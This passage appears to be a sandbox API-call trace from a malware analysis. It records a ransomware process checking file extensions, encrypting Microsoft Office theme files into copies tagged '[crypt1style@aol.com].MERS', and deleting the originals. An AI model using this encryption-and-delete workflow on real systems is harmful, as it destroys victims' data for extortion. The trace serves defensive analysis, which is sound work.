(lpString=".xlsx") returned 5 [0268.149] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0268.149] lstrlenW (lpString=".ppt") returned 4 [0268.150] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0268.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.150] lstrlenW (lpString=".zip") returned 4 [0268.150] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0268.150] lstrlenW (lpString=".rar") returned 4 [0268.150] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0268.150] lstrlenW (lpString=".bz2") returned 4 [0268.150] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0268.150] lstrlenW (lpString=".7z") returned 3 [0268.150] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0268.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.150] lstrlenW (lpString=".dbf") returned 4 [0268.150] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0268.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.150] lstrlenW (lpString=".1cd") returned 4 [0268.150] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0268.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.150] lstrlenW (lpString=".jpg") returned 4 [0268.150] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0268.150] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.150] lstrlenW (lpString="Apothecary.eftx") returned 15 [0268.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.496] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=49025) returned 1 [0268.496] CloseHandle (hObject=0x39c) returned 1 [0268.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0268.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.504] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.504] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.504] GetLastError () returned 0x0 [0268.504] ReadFile (in: hFile=0x388, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0xbf81, lpOverlapped=0x0) returned 1 [0268.606] WriteFile (in: hFile=0x39c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xbf90, lpOverlapped=0x0) returned 1 [0268.608] ReadFile (in: hFile=0x388, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.608] WriteFile (in: hFile=0x39c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0268.608] SetEndOfFile (hFile=0x39c) returned 1 [0268.608] CloseHandle (hObject=0x39c) returned 1 [0268.608] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.608] SetEndOfFile (hFile=0x388) returned 1 [0268.808] CloseHandle (hObject=0x388) returned 1 [0268.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1 [0268.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.828] lstrlenW (lpString=".doc") returned 4 [0268.828] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.828] lstrlenW (lpString=".docx") returned 5 [0268.828] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.828] lstrlenW (lpString=".pdf") returned 4 [0268.828] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString=".xls") returned 4 [0268.829] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString=".xlsx") returned 5 [0268.829] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.829] lstrlenW (lpString=".ppt") returned 4 [0268.829] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.829] lstrlenW (lpString=".zip") returned 4 [0268.829] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString=".rar") returned 4 [0268.829] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString=".bz2") returned 4 [0268.829] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString=".7z") returned 3 [0268.829] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.829] lstrlenW (lpString=".dbf") returned 4 [0268.829] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.829] lstrlenW (lpString=".1cd") returned 4 [0268.829] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.829] lstrlenW (lpString=".jpg") returned 4 [0268.829] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.829] lstrlenW (lpString=".doc") returned 4 [0268.829] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString=".docx") returned 5 [0268.829] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0268.829] lstrlenW (lpString=".pdf") returned 4 [0268.829] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString=".xls") returned 4 [0268.829] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0268.829] lstrlenW (lpString=".xlsx") returned 5 [0268.830] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0268.830] lstrlenW (lpString=".ppt") returned 4 [0268.830] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0268.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.830] lstrlenW (lpString=".zip") returned 4 [0268.830] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0268.830] lstrlenW (lpString=".rar") returned 4 [0268.830] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0268.830] lstrlenW (lpString=".bz2") returned 4 [0268.830] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0268.830] lstrlenW (lpString=".7z") returned 3 [0268.830] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0268.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.830] lstrlenW (lpString=".dbf") returned 4 [0268.830] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0268.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.830] lstrlenW (lpString=".1cd") returned 4 [0268.830] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0268.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0268.830] lstrlenW (lpString=".jpg") returned 4 [0268.830] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0268.830] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.830] lstrlenW (lpString="Civic.eftx") returned 10 [0268.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0269.014] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=42917) returned 1 [0269.014] CloseHandle (hObject=0x40c) returned 1 [0269.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0269.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0269.015] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.015] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0269.015] GetLastError () returned 0x0 [0269.015] ReadFile (in: hFile=0x40c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0269.255] WriteFile (in: hFile=0x410, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xa7b0, lpOverlapped=0x0) returned 1 [0269.256] ReadFile (in: hFile=0x40c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.256] WriteFile (in: hFile=0x410, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0269.256] SetEndOfFile (hFile=0x410) returned 1 [0269.650] CloseHandle (hObject=0x410) returned 1 [0269.673] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.673] SetEndOfFile (hFile=0x40c) returned 1 [0270.787] CloseHandle (hObject=0x40c) returned 1 [0270.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1 [0270.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.941] lstrlenW (lpString=".doc") returned 4 [0270.941] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0270.941] lstrlenW (lpString=".docx") returned 5 [0270.941] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0270.941] lstrlenW (lpString=".pdf") returned 4 [0270.941] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0270.941] lstrlenW (lpString=".xls") returned 4 [0270.941] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0270.941] lstrlenW (lpString=".xlsx") returned 5 [0270.941] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0270.941] lstrlenW (lpString=".ppt") returned 4 [0270.941] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0270.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.941] lstrlenW (lpString=".zip") returned 4 [0270.941] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0270.941] lstrlenW (lpString=".rar") returned 4 [0270.941] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString=".bz2") returned 4 [0270.942] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString=".7z") returned 3 [0270.942] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0270.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.942] lstrlenW (lpString=".dbf") returned 4 [0270.942] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.942] lstrlenW (lpString=".1cd") returned 4 [0270.942] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.942] lstrlenW (lpString=".jpg") returned 4 [0270.942] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.942] lstrlenW (lpString=".doc") returned 4 [0270.942] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString=".docx") returned 5 [0270.942] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0270.942] lstrlenW (lpString=".pdf") returned 4 [0270.942] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString=".xls") returned 4 [0270.942] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString=".xlsx") returned 5 [0270.942] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0270.942] lstrlenW (lpString=".ppt") returned 4 [0270.942] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0270.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.943] lstrlenW (lpString=".zip") returned 4 [0270.943] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0270.943] lstrlenW (lpString=".rar") returned 4 [0270.943] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0270.943] lstrlenW (lpString=".bz2") returned 4 [0270.943] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0270.943] lstrlenW (lpString=".7z") returned 3 [0270.943] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0270.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.943] lstrlenW (lpString=".dbf") returned 4 [0270.943] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0270.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.943] lstrlenW (lpString=".1cd") returned 4 [0270.943] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0270.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0270.943] lstrlenW (lpString=".jpg") returned 4 [0270.943] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0270.943] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0270.943] lstrlenW (lpString="Executive.eftx") returned 14 [0270.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0271.122] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=21156) returned 1 [0271.122] CloseHandle (hObject=0x418) returned 1 [0271.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0271.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0271.133] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.133] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0271.134] GetLastError () returned 0x0 [0271.134] ReadFile (in: hFile=0x418, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x52a4, lpOverlapped=0x0) returned 1 [0271.229] WriteFile (in: hFile=0x3ec, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x52b0, lpOverlapped=0x0) returned 1 [0271.231] ReadFile (in: hFile=0x418, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.231] WriteFile (in: hFile=0x3ec, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0271.231] SetEndOfFile (hFile=0x3ec) returned 1 [0271.231] CloseHandle (hObject=0x3ec) returned 1 [0271.231] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.231] SetEndOfFile (hFile=0x418) returned 1 [0271.233] CloseHandle (hObject=0x418) returned 1 [0271.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1 [0271.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.233] lstrlenW (lpString=".doc") returned 4 [0271.233] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.233] lstrlenW (lpString=".docx") returned 5 [0271.233] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.233] lstrlenW (lpString=".pdf") returned 4 [0271.233] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.233] lstrlenW (lpString=".xls") returned 4 [0271.233] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.233] lstrlenW (lpString=".xlsx") returned 5 [0271.233] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.233] lstrlenW (lpString=".ppt") returned 4 [0271.233] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.234] lstrlenW (lpString=".zip") returned 4 [0271.234] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString=".rar") returned 4 [0271.234] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString=".bz2") returned 4 [0271.234] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString=".7z") returned 3 [0271.234] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.234] lstrlenW (lpString=".dbf") returned 4 [0271.234] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.234] lstrlenW (lpString=".1cd") returned 4 [0271.234] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.234] lstrlenW (lpString=".jpg") returned 4 [0271.234] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.234] lstrlenW (lpString=".doc") returned 4 [0271.234] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString=".docx") returned 5 [0271.234] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.234] lstrlenW (lpString=".pdf") returned 4 [0271.234] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString=".xls") returned 4 [0271.234] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString=".xlsx") returned 5 [0271.234] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.234] lstrlenW (lpString=".ppt") returned 4 [0271.234] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.234] lstrlenW (lpString=".zip") returned 4 [0271.234] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.235] lstrlenW (lpString=".rar") returned 4 [0271.235] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.235] lstrlenW (lpString=".bz2") returned 4 [0271.235] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.235] lstrlenW (lpString=".7z") returned 3 [0271.235] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.235] 